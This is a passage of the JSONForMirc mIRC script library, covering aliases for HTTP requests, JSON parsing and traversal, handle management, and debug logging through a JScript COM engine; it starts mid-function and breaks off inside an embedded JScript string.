  2316.     hadd -mu0 SReject/JSONForMirc Error %Error
  2317.     if (%Com) && ($com(%Com)) { .timer $+ %Com -iom 1 0 JSONClose $unsafe($1) }
  2318.     jfm_log -EeDF %Error
  2319.   }
  2320.   else {
  2321.     if (d isincs %Switches) { .timer $+ %Com -iom 1 0 JSONClose $unsafe($1) }
  2322.     jfm_log -EsDF Created $1 (as com %Com $+ )
  2323.   }
  2324. }
  2325. alias JSONHttpMethod {
  2326.   if ($isid) { return }
  2327.   if ($hget(SReject/JSONForMirc,Error)) { hdel SReject/JSONForMirc Error }
  2328.   var %Error,%Com,%Method
  2329.   jfm_log -I /JSONHttpMethod $1-
  2330.   if ($jfm_ComInit) { %Error = $v1 }
  2331.   elseif ($0 < 2) { %Error = PARAMETER_MISSING }
  2332.   elseif ($0 > 2) { %Error = PARAMETER_INVALID }
  2333.   elseif ($regex($1,/(?:^\d+$)|[*:? ]/i)) { %Error = NAME_INVALID }
  2334.   elseif (!$com(JSON: $+ $1)) { %Error = HANDLE_DOES_NOT_EXIST }
  2335.   else {
  2336.     %Com = JSON: $+ $1
  2337.     %Method = $regsubex($2,/(^\s+)|(\s*)$/g,)
  2338.     if (!$len(%Method)) { %Error = INVALID_METHOD }
  2339.     elseif ($jfm_Exec(%Com,httpSetMethod,%Method)) { %Error = $v1 }
  2340.   }
  2341.   :error
  2342.   if ($error) { %Error = $v1 }
  2343.   reseterror
  2344.   if (%Error) { hadd -mu0 SReject/JSONForMirc Error %Error | jfm_log -EeDF %Error }
  2345.   else { jfm_log -EsDF Set Method to $+(',%Method,') }
  2346. }
  2347. alias JSONHttpHeader {
  2348.   if ($isid) { return }
  2349.   if ($hget(SReject/JSONForMirc,Error)) { hdel SReject/JSONForMirc Error }
  2350.   var %Error,%Com,%Header
  2351.   jfm_log -I /JSONHttpHeader $1-
  2352.   if ($jfm_ComInit) { %Error = $v1 }
  2353.   elseif ($0 < 3) { %Error = PARAMETER_MISSING }
  2354.   elseif ($regex($1,/(?:^\d+$)|[*:? ]/i)) { %Error = INVALID_NAME }
  2355.   elseif (!$com(JSON: $+ $1)) { %Error = HANDLE_DOES_NOT_EXIST }
  2356.   else {
  2357.     %Com = JSON: $+ $1
  2358.     %Header = $regsubex($2,/(^\s+)|(\s*:\s*$)/g,)
  2359.     if (!$len($2)) { %Error = HEADER_EMPTY }
  2360.     elseif ($regex($2,[\r:\n])) { %Error = HEADER_INVALID }
  2361.     elseif ($jfm_Exec(%Com,httpSetHeader,%Header,$3-)) { %Error = $v1 }
  2362.   }
  2363.   :error
  2364.   if ($error) { %Error = $v1 }
  2365.   reseterror
  2366.   if (%Error) { hadd -mu0 SReject/JSONForMirc Error %Error | jfm_log -EeDF %Error }
  2367.   else { jfm_log -EsDF Stored Header $+(',%Header,: $3-,') }
  2368. }
  2369. alias JSONHttpFetch {
  2370.   if ($isid) { return }
  2371.   if ($hget(SReject/JSONForMirc,Error)) { hdel SReject/JSONForMirc Error }
  2372.   var %Switches,%Error,%Com,%BVar,%BUnset
  2373.   jfm_log -I /JSONHttpFetch $1-
  2374.   if (-* iswm $1) { %Switches = $mid($1,2-) | tokenize 32 $2- }
  2375.   if ($jfm_ComInit) { %Error = $v1 }
  2376.   if ($0 == 0) || (%Switches != $null && $0 < 2) { %Error = PARAMETER_MISSING }
  2377.   elseif ($regex(%Switches,([^bf]))) { %Error = SWITCH_INVALID: $+ $regml(1) }
  2378.   elseif ($regex($1,/(?:^\d+$)|[*:? ]/i)) { %Error = NAME_INVALID }
  2379.   elseif (!$com(JSON: $+ $1)) { %Error = HANDLE_DOES_NOT_EXIST }
  2380.   elseif (b isincs %Switches) && (&* !iswm $2 || $0 > 2) { %Error = BVAR_INVALID }
  2381.   elseif (f isincs %Switches) && (!$isfile($2-)) { %Error = FILE_DOESNOT_EXIST }
  2382.   elseif (f isincs %Switches) && (!$lines($2-)) { %Error = FILE_EMPTY }
  2383.   else {
  2384.     %Com = JSON: $+ $1
  2385.     if ($0 > 1) {
  2386.       %BVar = $jfm_TmpBVar
  2387.       %BUnset = $true
  2388.       if (b isincs %Switches) { %BVar = $2 | %BUnset = $false }
  2389.       elseif (f isincs %Switches) { bread $qt($file($2-).longfn) 0 $file($2-).size %BVar }
  2390.       else { bset -t %BVar 1 $2- }
  2391.       %Error = $jfm_Exec(%Com, httpSetData,& %BVar).fromBvar
  2392.     }
  2393.     if (!%Error) { %Error = $jfm_Exec(%Com,parse) }
  2394.   }
  2395.   :error
  2396.   if ($error) { %Error = $error }
  2397.   reseterror
  2398.   if (%BUnset) { bunset %BVar }
  2399.   if (%Error) { hadd -mu0 SReject/JSONForMirc Error %Error | jfm_log -EeDF %Error }
  2400.   else { jfm_log -EsDF Http Data retrieved }
  2401. }
  2402. alias JSONClose {
  2403.   if ($isid) { return }
  2404.   if ($hget(SReject/JSONForMirc,Error)) { hdel SReject/JSONForMirc Error }
  2405.   var %Switches,%Error,%Match,%Com,%X 1
  2406.   jfm_log -I /JSONClose $1-
  2407.   if (-* iswm $1) { %Switches = $mid($1, 2-) | tokenize 32 $2- }
  2408.   if ($0 < 1) { %Error = PARAMTER_MISSING }
  2409.   elseif ($0 > 1) { %Error = PARAMETER_INVALID }
  2410.   elseif ($regex(%Switches,/([^w])/)) { %Error = SWITCH_UNKNOWN: $+ $regml(1) }
  2411.   elseif (: isin $1) && (w isincs %Switches || JSON:* !iswmcs $1) { %Error = PARAMETER_INVALID }
  2412.   else {
  2413.     %Match = $1
  2414.     if (JSON:* iswmcs $1) { %Match = $gettok($1,2-,58) }
  2415.     %Match = $replacecs(%Match,\E,\E\\E\Q)
  2416.     if (w isincs %Switches) { %Match = $replacecs(%Match,?,\E[^:]\Q,*,\E[^:]*\Q) }
  2417.     %Match = /^JSON:\Q $+ %Match $+ \E(?::\d+)?$/i
  2418.     %Match = $replacecs(%Match,\Q\E,)
  2419.     while (%X <= $com(0)) {
  2420.       %Com = $com(%X)
  2421.       if ($regex(%Com,%Match)) {
  2422.         .comclose %Com
  2423.         if ($timer(%Com)) { .timer $+ %Com off }
  2424.         jfm_log Closed %Com
  2425.       }
  2426.       else { inc %X }
  2427.     }
  2428.   }
  2429.   :error
  2430.   if ($error) { %Error = $error }
  2431.   reseterror
  2432.   if (%Error) { hadd -mu0 SReject/JSONForMirc Error %Error | jfm_log -EeD /JSONClose %Error }
  2433.   else { jfm_log -EsD All matching handles closed }
  2434. }
  2435. alias JSONList {
  2436.   if ($isid) { return }
  2437.   var %X 1,%I 0
  2438.   jfm_log /JSONList $1-
  2439.   while ($com(%X)) {
  2440.     if (JSON:?* iswm $v1) { inc %I | echo $color(info) -age * $chr(35) $+ %I $+ : $v2 }
  2441.     inc %X
  2442.   }
  2443.   if (!%I) { echo $color(info) -age * No active JSON handlers }
  2444. }
  2445. alias JSONShutDown {
  2446.   if ($isid) { return }
  2447.   JSONClose -w *
  2448.   if ($JSONDebug) { JSONDebug off }
  2449.   if ($window(@SReject/JSONForMirc/Log)) { close -@ $v1 }
  2450.   if ($com(SReject/JSONForMirc/JSONEngine)) { .comclose $v1 }
  2451.   if ($com(SReject/JSONForMirc/JSONShell)) { .comclose $v1 }
  2452.   if ($hget(SReject/JSONForMirc)) { hfree $v1 }
  2453. }
  2454. alias JSON {
  2455.   if (!$isid) { return }
  2456.   if ($hget(SReject/JSONForMirc, Error)) { hdel SReject/JSONForMirc Error }
  2457.   var %X,%Args,%Params,%Error,%Com,%I 0,%Prefix,%Prop,%Suffix,%Offset 2,%Type,%Output,%Result,%ChildCom,%Call
  2458.   if (*ToFile iswm $prop) { %Offset = 3 }
  2459.   if ($JSONDebug) {
  2460.     %X = 1
  2461.     while (%X <= $0) {
  2462.       if (%Args !== $null) { %Args = %Args $+ $chr(44) }
  2463.       %Args = %Args $+ $evalnext($ $+ %X)
  2464.       if (%X >= %Offset) { %Params = %Params $+ ,bstr,$ $+ %X }
  2465.       inc %X
  2466.     }
  2467.   }
  2468.   elseif ($0 >= %Offset) {
  2469.     %X = %Offset
  2470.     while (%X <= $0) { %Params = %Params $+ ,bstr,$ $+ %X | inc %X }
  2471.   }
  2472.   jfm_log -I $!JSON( $+ %Args $+ ) $+ $iif($prop !== $null, . $+ $prop)
  2473.   if (!$0) || ($0 == 1 && $1 == $null) { %Error = PARAMETER_MISSING | goto error }
  2474.   if ($0 == 1) && ($1 == 0) && ($prop !== $null) { %Error = PROP_NOT_APPLICABLE | goto error }
  2475.   if ($regex(name,$1,/^JSON:[^:?*]+(?::\d+)?$/i)) { %Com = $1 }
  2476.   elseif (: isin $1 || * isin $1 || ? isin $1) || ($1 == 0 && $0 !== 1) { %Error = INVALID_NAME }
  2477.   elseif ($1 isnum 0- && . !isin $1) {
  2478.     %X = 1
  2479.     while ($com(%X)) {
  2480.       if ($regex($v1,/^JSON:[^:]+$/)) {
  2481.         inc %I
  2482.         if (%I === $1) { %Com = $com(%X) | break }
  2483.       }
  2484.       inc %X
  2485.     }
  2486.     if ($1 === 0) { jfm_log -EsDF %I | return %I }
  2487.   }
  2488.   else { %Com = JSON: $+ $1 }
  2489.   if (!%Error) && (!$com(%Com)) { %Error = HANDLER_NOT_FOUND }
  2490.   elseif (* isin $prop) || (? isin $prop) { %Error = INVALID_PROP }
  2491.   else {
  2492.     if ($regex($prop, /^((?:fuzzy)?)(.*?)((?:to(?:bvar|file))?)?$/i)) { %Prefix = $regml(1) | %Prop = $regml(2) | %Suffix = $regml(3) }
  2493.     %Prop = $regsubex(%Prop, /^url/i, http)
  2494.     if (%Suffix == tofile) {
  2495.       if ($0 < 2) { %Error = INVALID_PARAMETERS }
  2496.       elseif (!$len($2) || $isfile($2) || (!$regex($2, /[\\\/]/) && " isin $2)) { %Error = INVALID_FILE }
  2497.       else { %Output = $longfn($2) }
  2498.     }
  2499.   }
  2500.   if (%Error) { goto error }
  2501.   elseif ($0 == 1) && (!$prop) { %Result = $jfm_TmpBVar | bset -t %Result 1 %Com }
  2502.   elseif (%Prop == isChild) {
  2503.     %Result = $jfm_TmpBVar
  2504.     if (JSON:?*:?* iswm %com) { bset -t %Result 1 $true }
  2505.     else { bset -t %Result 1 $false }
  2506.   }
  2507.   elseif ($wildtok(state|error|input|inputType|httpParse|httpHead|httpStatus|httpStatusText|httpHeaders|httpBody|httpResponse,%Prop,1,124)) {
  2508.     if ($jfm_Exec(%Com,$v1)) { %Error = $v1 }
  2509.     else { %Result = $hget(SReject/JSONForMirc,Exec) }
  2510.   }
  2511.   elseif (%Prop == httpHeader) {
  2512.     if ($calc($0 - %Offset) < 0) { %Error = INVALID_PARAMETERS }
  2513.     elseif ($jfm_Exec(%Com,httpHeader,$evalnext($ $+ %Offset))) { %Error = $v1 }
  2514.     else { %Result = $hget(SReject/JSONForMirc,Exec) }
  2515.   }
  2516.   elseif (%Prop == $null) || ($wildtok(path|pathLength|type|isContainer|length|value|string|debug, %Prop, 1, 124)) {
  2517.     %Prop = $v1
  2518.     if ($0 >= %Offset) {
  2519.       %ChildCom = JSON: $+ $gettok(%Com,2,58) $+ :
  2520.       %X = $ticks $+ 000000
  2521.       while ($com(%ChildCom $+ %X)) { inc %X }
  2522.       %ChildCom = %ChildCom $+ %X
  2523.       %Call = $!com( $+ %Com $+ ,walk,1,bool, $+ $iif(fuzzy == %Prefix,$true,$false) $+ %Params $+ ,dispatch* %ChildCom $+ )
  2524.       jfm_log %Call
  2525.       if (!$evalnext(%Call)) || ($comerr) || (!$com(%ChildCom)) { %Error = $jfm_GetError | goto error }
  2526.       .timer $+ %ChildCom -iom 1 0 JSONClose %ChildCom
  2527.       %Com = %ChildCom
  2528.       jfm_log
  2529.     }
  2530.     if (!%Prop) { %Result = $jfm_TmpBVar | bset -t %Result 1 %Com }
  2531.     elseif (%Prop !== value) {
  2532.       if ($jfm_Exec(%Com,$v1)) { %Error = $v1 }
  2533.       else { %Result = $hget(SReject/JSONForMirc,Exec) }
  2534.     }
  2535.     elseif ($jfm_Exec(%Com,type)) { %Error = $v1 }
  2536.     elseif ($bvar($hget(SReject/JSONForMirc,Exec),1-).text == object) || ($v1 == array) { %Error = INVALID_TYPE }
  2537.     elseif ($jfm_Exec(%Com,value)) { %Error = $v1 }
  2538.     else { %Result = $hget(SReject/JSONForMirc,Exec) }
  2539.   }
  2540.   else { %Error = UNKNOWN_PROP }
  2541.   if (!%Error) {
  2542.     if (%Suffix == tofile) { bwrite $qt(%Output) -1 -1 %Result | bunset %Result | %Result = %Output }
  2543.     elseif (%Suffix !== tobvar) { %Result = $bvar(%Result,1,4000).text }
  2544.   }
  2545.   :error
  2546.   if ($error) { %Error = $error }
  2547.   reseterror
  2548.   if (%Error) { hadd -mu0 SReject/JSONForMirc Error %Error | jfm_log -EeDF %Error }
  2549.   else { jfm_log -EsDF %Result | return %Result }
  2550. }
  2551. alias JSONForEach {
  2552.   if (!$isid) { return }
  2553.   if ($hget(SReject/JSONForMirc,Error)) { hdel SReject/JSONForMirc Error }
  2554.   var %Error,%Log,%Call,%X 0,%JSON,%Com,%ChildCom,%Result 0,%Name
  2555.   %Log = $!JSONForEach(
  2556.   if ($prop == walk) { %Call = ,forEach,1,bool,$true,bool,$false }
  2557.   elseif ($prop == fuzzy) { %Call = ,forEach,1,bool,$false,bool,$true }
  2558.   else { %Call = ,forEach,1,bool,$false,bool,$false }
  2559.   while (%X < $0) {
  2560.     inc %X
  2561.     %Log = %Log $+ $evalnext($ $+ %X) $+ ,
  2562.     if (%X > 2) { %Call = %Call $+ ,bstr, $+ $ $+ %X }
  2563.   }
  2564.   jfm_log -I $left(%Log,-1) $+ $chr(41) $+ $iif($prop !== $null,. $+ $v1)
  2565.   if ($0 < 2) { %Error = INVAID_PARAMETERS }
  2566.   elseif ($1 == 0) { %Error = INVALID_HANDLER }
  2567.   elseif ($prop !== $null) && ($prop !== walk) && ($prop !== fuzzy) { %Error = INVALID_PROPERTY }
  2568.   elseif ($0 > 2) && ($prop == walk) { %Error = PARAMETERS_NOT_APPLICABLE }
  2569.   elseif (!$1) || ($1 == 0) || (!$regex($1,/^((?:[^?:*]+)|(?:JSON:[^?:*]+(?::\d+)))$/)) { %Error = NAME_INVALID }
  2570.   else {
  2571.     if (JSON:?* iswm $1) { %JSON = $com($1) }
  2572.     elseif ($regex($1,/^\d+$/i)) {
  2573.       %X = 1
  2574.       %JSON = 0
  2575.       while ($com(%X)) {
  2576.         if ($regex($1,/^JSON:[^?*:]+$/)) {
  2577.           inc %JSON
  2578.           if (%JSON == $1) { %JSON = $com(%X) | break }
  2579.           elseif (%X == $com(0)) { %JSON = $null }
  2580.         }
  2581.         inc %X
  2582.       }
  2583.     }
  2584.     else { %JSON = $com(JSON: $+ $1) }
  2585.     if (!%JSON) { %Error = HANDLE_NOT_FOUND }
  2586.     else {
  2587.       %Com = $gettok(%JSON,1-2,58) $+ :
  2588.       %X = $ticks $+ 000000
  2589.       while ($com(%Com $+ %X)) { inc %X }
  2590.       %Com = %Com $+ %X
  2591.       %Call = $!com( $+ %JSON $+ %Call $+ ,dispatch* %Com $+ )
  2592.       jfm_log %Call
  2593.       if (!$evalnext(%Call)) || ($comerr) || (!$com(%Com)) { %Error = $jfm_GetError }
  2594.       else {
  2595.         .timer $+ %Com -iom 1 0 JSONClose $unsafe(%Com)
  2596.         if (!$com(%Com, length, 2)) || ($comerr) { %Error = $jfm_GetError }
  2597.         elseif ($com(%Com).result) {
  2598.           %Result = $v1
  2599.           %X = 0
  2600.           %ChildCom = $gettok(%Com,1-2,58) $+ :
  2601.           %Name = $ticks
  2602.           while ($com(%ChildCom $+ %Name)) { inc %Name }
  2603.           %Name = %ChildCom $+ %Name
  2604.           hinc -m SReject/JSONForMirc ForEach/Index
  2605.           hadd -m SReject/JSONForMirc ForEach/ $+ $hget(SReject/JSONForMirc,ForEach/Index) %Name
  2606.           while (%X < %Result) {
  2607.             if (!$com(%Com,%X,2,dispatch* %Name) || $comerr) { %Error = $jfm_GetError | break }
  2608.             jfm_log -I Calling $1 %Name
  2609.             $2 %Name
  2610.             .comclose %Name
  2611.             jfm_log -D
  2612.             inc %X
  2613.           }
  2614.           hdel SReject/JSONForMirc ForEach/ $+ $hget(SReject/JSONForMirc, ForEach/Index)
  2615.           hdec SReject/JSONForMirc ForEach/Index
  2616.           if ($hget(SReject/JSONForMirc, ForEach/Index) == 0) { hdel SReject/JsonForMirc ForEach/Index }
  2617.         }
  2618.       }
  2619.     }
  2620.   }
  2621.   :error
  2622.   if ($error) { %Error = $error }
  2623.   reseterror
  2624.   if (%Error) {
  2625.     if ($com(%Com)) { .comclose $v1 }
  2626.     if (JSON:* iswm %Name && $com(%Name)) { .comclose %Name }
  2627.     hadd -mu0 SReject/JSONForMirc Error %Error
  2628.     jfm_log -EeDF %Error
  2629.   }
  2630.   else { jfm_log -EsDF %Result | return %Result }
  2631. }
  2632. alias JSONItem {
  2633.   var %Com = $hget(SReject/JSONForMirc,ForEach/ $+ $hget(SReject/JSONForMirc,ForEach/Index)),%Type,%Bvar,%Text
  2634.   if (!$isid || !%Com || !$com(%Com)) { return }
  2635.   if ($1 == Value || $1 == Valuetobvar) {
  2636.     %BVar = $jfm_TmpBVar
  2637.     noop $com(%Com, value, 1) $Com(%Com, %BVar).result
  2638.     if ($1 == valuetobvar) { return %Bvar }
  2639.     %Text = $bvar(%BVar, 1, 4000).text
  2640.     bunset %BVar
  2641.     return %Text
  2642.   }
  2643.   elseif ($1 == Length) { noop $com(%Com, length, 1) | return $com(%Com).result }
  2644.   elseif ($1 == Type || $1 == IsContainer) {
  2645.     noop $com(%Com, type, 1)
  2646.     %Type = $com(%Com).result
  2647.     if ($1 == type) { return %Type }
  2648.     if (%Type == Object || %Type == Array) { return $true }
  2649.     return $false
  2650.   }
  2651. }
  2652. alias JSONPath {
  2653.   if (!$isid) return
  2654.   if ($hget(SReject/JSONForMirc,Error)) { hdel SReject/JSONForMirc Error }
  2655.   var %Error,%Param,%X 0,%JSON,%Result
  2656.   while (%X < $0) { inc %X | %Param = %Param $+ $evalnext($ $+ %X) $+ , }
  2657.   jfm_log -I $!JSONPath( $+ $left(%Param,-1) $+ )
  2658.   if ($0 !== 2) { %Error = INVALID_PARAMETERS }
  2659.   elseif ($prop !== $null) { %Error = PROP_NOT_APPLICABLE }
  2660.   elseif (!$1) || ($1 == 0) || (!$regex($1, /^(?:(?:JSON:[^?:*]+(?::\d+)*)?|([^?:*]+))$/i)) { %Error = NAME_INVALID }
  2661.   elseif ($2 !isnum 0-) || (. isin $2) { %Error = INVALID_INDEX }
  2662.   else {
  2663.     %JSON = $JSON($1)
  2664.     if ($JSONError) { %Error = $v1 }
  2665.     elseif (!%JSON) { %Error = HANDLER_NOT_FOUND }
  2666.     elseif ($JSON(%JSON).pathLength == $null) { %Error = $JSONError }
  2667.     else {
  2668.       %Result = $v1
  2669.       if (!$2) { noop }
  2670.       elseif ($2 > %Result) { unset %Result }
  2671.       elseif (!$com(%JSON, pathAtIndex, 1, bstr, $calc($2 -1))) || ($comerr) { %Error = $jfm_GetError }
  2672.       else { %Result = $com(%JSON).result }
  2673.     }
  2674.   }
  2675.   :error
  2676.   if ($error) { %Error = $v1 }
  2677.   reseterror
  2678.   if (%Error) { hadd -mu0 SReject/JSONForMirc Error %Error | jfm_log -EeDF %Error }
  2679.   else { jfm_log -EsDF %Result | return %Result }
  2680. }
  2681. alias JSONError { if ($isid) { return $replace($hget(SReject/JSONForMirc,Error),$chr(9),$chr(32),$chr(10),$chr(32),$chr(13),$chr(32)) } }
  2682. alias JSONVersion {
  2683.   if ($isid) {
  2684.     var %Ver 1.0.4000
  2685.     if ($0) { return %Ver }
  2686.     return SReject/JSONForMirc v $+ %Ver
  2687.   }
  2688. }
  2689. alias JSONDebug {
  2690.   var %State $false, %Aline aline $color(info2) @SReject/JSONForMirc/Log
  2691.   if ($group(#SReject/JSONForMirc/Log) == on) {
  2692.     if (!$window(@SReject/JSONForMirc/Log)) { .disable #SReject/JSONForMirc/log }
  2693.     else { %State = $true }
  2694.   }
  2695.   if ($isid) { return %State }
  2696.   elseif (!$0) || ($1 == toggle) {
  2697.     if (%State) { tokenize 32 disable }
  2698.     else { tokenize 32 enable }
  2699.   }
  2700.   if ($1 == on) || ($1 == enable) {
  2701.     if (%State) { echo $color(info).dd -atngq * /JSONDebug: debug already enabled | return }
  2702.     .enable #SReject/JSONForMirc/Log
  2703.     %State = $true
  2704.   }
  2705.   elseif ($1 == off) || ($1 == disable) {
  2706.     if (!%State) { echo $color(info).dd -atngq * /JSONDebug: debug already disabled | return }
  2707.     .disable #SReject/JSONForMirc/Log
  2708.     %State = $false
  2709.   }
  2710.   else { echo $color(info).dd -atng * /JSONDebug: Unknown input | return }
  2711.   if (%State) {
  2712.     if (!$window(@SReject/JSONForMirc/Log)) { window -zk0ej10000 @SReject/JSONForMirc/Log }
  2713.     %Aline Debug now enabled - $JSONVersion
  2714.     if ($~adiircexe) { %Aline AdiIRC v $+ $version $iif($beta, beta $builddate) $bits $+ bit }
  2715.     else { %Aline mIRC v $+ $version $iif($beta, beta $v1) $bits $+ bit }
  2716.     %Aline -
  2717.   }
  2718.   elseif ($window(@SReject/JSONForMirc/Log)) { %aline [JSONDebug] Debug now disabled }
  2719.   window -b @SReject/JSONForMirc/Log
  2720. }
  2721. alias -l jfm_TmpBVar {
  2722.   var %N $ticks $+ 00000
  2723.   jfm_log -I $!jfm_TmpBVar
  2724.   while ($bvar(&SReject/JSONForMirc/Tmp $+ %N)) { inc %N }
  2725.   jfm_log -EsD &SReject/JSONForMirc/Tmp $+ %N
  2726.   return &SReject/JSONForMirc/Tmp $+ %N
  2727. }
  2728. alias -l jfm_ComInit {
  2729.   var %Error,%Js $jfm_TmpBVar
  2730.   jfm_log -I $!jfm_ComInit
  2731.   if ($com(SReject/JSONForMirc/JSONShell) && $com(SReject/JSONForMirc/JSONEngine)) { jfm_log -EsD Already Initialized | return }
  2732.   jfm_jscript %Js
  2733.   if ($com(SReject/JSONForMirc/JSONEngine)) { .comclose $v1 }
  2734.   if ($com(SReject/JSONForMirc/JSONShell)) { .comclose $v1 }
  2735.   if ($~adiircexe !== $null) && ($bits == 64) { .comopen SReject/JSONForMirc/JSONShell ScriptControl }
  2736.   else { .comopen SReject/JSONForMirc/JSONShell MSScriptControl.ScriptControl }
  2737.   if (!$com(SReject/JSONForMirc/JSONShell)) || ($comerr) { %Error = SCRIPTCONTROL_INIT_FAIL }
  2738.   elseif (!$com(SReject/JSONForMirc/JSONShell, language, 4, bstr, jscript)) || ($comerr) { %Error = LANGUAGE_SET_FAIL }
  2739.   elseif (!$com(SReject/JSONForMirc/JSONShell, AllowUI, 4, bool, $false)) || ($comerr) { %Error = ALLOWIU_SET_FAIL }
  2740.   elseif (!$com(SReject/JSONForMirc/JSONShell, timeout, 4, integer, -1)) || ($comerr) { %Error = TIMEOUT_SET_FAIL }
  2741.   elseif (!$com(SReject/JSONForMirc/JSONShell, ExecuteStatement, 1, &bstr, %Js)) || ($comerr) { %Error = JSCRIPT_EXEC_FAIL }
  2742.   elseif (!$com(SReject/JSONForMirc/JSONShell, Eval, 1, bstr, this, dispatch* SReject/JSONForMirc/JSONEngine)) || ($comerr) || (!$com(SReject/JSONForMirc/JSONEngine)) { %Error = ENGINE_GET_FAIL }
  2743.   :error
  2744.   if ($error) { %Error = $v1 | reseterror }
  2745.   if (%Error) {
  2746.     if ($com(SReject/JSONForMirc/JSONEngine)) { .comclose $v1 }
  2747.     if ($com(SReject/JSONForMirc/JSONShell)) { .comclose $v1 }
  2748.     jfm_log -EeD %Error
  2749.     return %Error
  2750.   }
  2751.   else { hadd -m SReject/JSONForMirc bvar 0 | hadd -m SReject/JSONForMirc com 0 | jfm_log -EsD Successfully initialized }
  2752. }
  2753. alias -l jfm_ToggleTimers {
  2754.   var %X 1,%Timer
  2755.   while ($timer(%X)) {
  2756.     %Timer = $v1
  2757.     if ($regex(%Timer,/^JSON:[^\?\*\:]+$/i)) { .timer $+ %Timer $1 }
  2758.     inc %X
  2759.   }
  2760. }
  2761. alias -l jfm_GetError {
  2762.   var %Error = UNKNOWN
  2763.   jfm_log -I $!jfm_GetError
  2764.   if ($com(SReject/JSONForMirc/JSONShell).errortext) { %Error = $v1 }
  2765.   if ($com(SReject/JSONForMirc/JSONShellError)) { .comclose SReject/JSONForMirc/JSONShellError }
  2766.   if ($com(SReject/JSONForMirc/JSONShell,Error,2,dispatch* SReject/JSONForMirc/JSONShellError)) && (!$comerr) && ($com(SReject/JSONForMirc/JSONShellError)) && ($com(SReject/JSONForMirc/JSONShellError,Description,2)) && (!$comerr) && ($com(SReject/JSONForMirc/JSONShellError).result !== $null) { %Error = $v1 }
  2767.   if ($com(SReject/JSONForMirc/JSONShellError)) { .comclose SReject/JSONForMirc/JSONShellError }
  2768.   jfm_log -EsD %Error
  2769.   return %Error
  2770. }
  2771. alias -l jfm_Create {
  2772.   var %Wait $iif(1 & $4,$true,$false),%Parse $iif(2 & $4,$false,$true),%Error
  2773.   jfm_log -I $!jfm_create( $+ $1 $+ , $+ $2 $+ , $+ $3 $+ , $+ $4 $+ , $+ $5 $+ )
  2774.   if (!$com(SReject/JSONForMirc/JSONEngine,JSONCreate,1,bstr,$2,&bstr,$3,bool,%Parse,dispatch* $1)) || ($comerr) || (!$com($1)) { %Error = $jfm_GetError }
  2775.   elseif ($2 !== http) || ($2 == http && !%Wait) { %Error = $jfm_Exec($1,parse) }
  2776.   if (%Error) { jfm_log -EeD %Error | return %Error }
  2777.   jfm_log -EsD Created $1
  2778. }
  2779. alias -l jfm_Exec {
  2780.   var %Args,%Index 0,%Params,%Error
  2781.   if ($hget(SReject/JSONForMirc,Exec)) { hdel SReject/JSONForMirc Exec }
  2782.   while (%Index < $0) {
  2783.     inc %Index
  2784.     %Args = %Args $+ $iif($len(%Args),$chr(44)) $+ $evalnext($ $+ %Index)
  2785.     if (%Index >= 3) {
  2786.       if ($prop == fromBvar) && ($regex($evalnext($ $+ %Index),/^& (&\S+)$/)) { %Params = %Params $+ ,&bstr, $+ $regml(1) }
  2787.       else { %Params = %Params $+ ,bstr,$ $+ %Index }
  2788.     }
  2789.   }
  2790.   %Params = $!com($1,$2,1 $+ %Params $+ )
  2791.   jfm_log -I $!jfm_Exec( $+ %Args $+ )
  2792.   if (!$evalnext(%Params) || $comerr) { %Error = $jfm_GetError | jfm_log -EeD %Error | return %Error }
  2793.   else { hadd -mu0 SReject/JSONForMirc Exec $jfm_TmpBVar | noop $com($1, $hget(SReject/JSONForMirc, Exec)).result | jfm_log -EsD Result stored in $hget(SReject/JSONForMirc,Exec) }
  2794. }
  2795. #SReject/JSONForMirc/Log off
  2796. alias -l jfm_log {
  2797.   var %Switches,%Prefix ->,%Color 03,%Indent
  2798.   if (!$window(@SReject/JSONForMirc/Log)) {
  2799.     .JSONDebug off
  2800.     if ($hget(SReject/JSONForMirc,LogIndent)) { hdel SReject/JSONForMirc LogIndent }
  2801.   }
  2802.   else {
  2803.     if (-?* iswm $1) { %Switches = $mid($1, 2-) | tokenize 32 $2- }
  2804.     if (i isincs %Switches) { hinc -mu1 SReject/JSONForMirc LogIndent }
  2805.     if ($0) {
  2806.       if (E isincs %Switches) { %Prefix = <- }
  2807.       if (e isincs %Switches) { %Color = 04 }
  2808.       elseif (s isincs %Switches) { %Color = 12 }
  2809.       elseif (l isincs %Switches) { %Color = 13 }
  2810.       %Prefix = $chr(3) $+ %Color $+ %Prefix
  2811.       if (F !isincs %Switches) { %Prefix = %Prefix $+ $chr(15) }
  2812.       %Indent = $str($chr(15) $+ $chr(32), $calc($hget(SReject/JSONForMirc, LogIndent) *4))
  2813.       echo -gi $+ $calc(($hget(SReject/JSONForMirc, LogIndent) + 1) * 4 -1) @SReject/JSONForMirc/Log %Indent %Prefix $1-
  2814.     }
  2815.     if (I isincs %Switches) { hinc -mu1 SReject/JSONForMirc LogIndent 1 }
  2816.     if (D isincs %Switches) && ($hget(SReject/JSONForMirc, LogIndent) > 0) { hdec -mu1 SReject/JSONForMirc LogIndent 1 }
  2817.   }
  2818. }
  2819. #SReject/JSONForMirc/Log end
  2820. alias -l jfm_log noop
  2821. alias -l jfm_SaveDebug {
  2822.   if ($isid) {
  2823.     if ($window(@SReject/JSONForMirc/Log)) && ($line(@SReject/JSONForMirc/Log, 0)) { return $true }
  2824.     return $false
  2825.   }
  2826.   var %File $sfile($envvar(USERPROFILE) $+ \Documents\JSONForMirc.log, JSONForMirc - Debug window, Save)
  2827.   if (%File) && (!$isfile(%File) || $input(Are you sure you want to overwrite $nopath(%File) $+ ?, qysa, @SReject/JSONForMirc/Log, Overwrite)) { savebuf @SReject/JSONForMirc/Log $qt(%File) }
  2828. }
  2829. alias -l jfm_badd { bset -t $1 $calc(1 + $bvar($1, 0)) $2- }
  2830. alias -l jfm_jscript {
  2831.   jfm_badd $1 !function(){Array.prototype.forEach=function(c){for(var s=this,i=0;i<s.length;i++)c.call(s,s[i],i)};Array.prototype.find=function(c){for(var s=this,i=0;i<s.length;i+=1)if(c.call(s,s[i]))return s[i]};I=['MSXML2.SERVERXMLHTTP.6.0','MSXML2.SERVERXMLHTTP.3.0','MSXML2.SERVERXMLHTTP'].find(function(x){try{return new ActiveXObject(x),x}catch(e){}});function A(o){if(o===null)return 'null';return Object.prototype.toString.call(o).match(/^\[object ([^\]]+)\]$/)[1].toLowerCase()}function B(o){var k=[],i;for(i in o)if(C(o,i))k.push(i);return k}
  2832.   jfm_badd $1 function C(o,k){return Object.prototype.hasOwnProperty.call(o,k)}
  2833.   jfm_badd $1 function D(s){if(s._state!=='done'||s._error||!s._parse)throw new Error('NOT_D');return s}
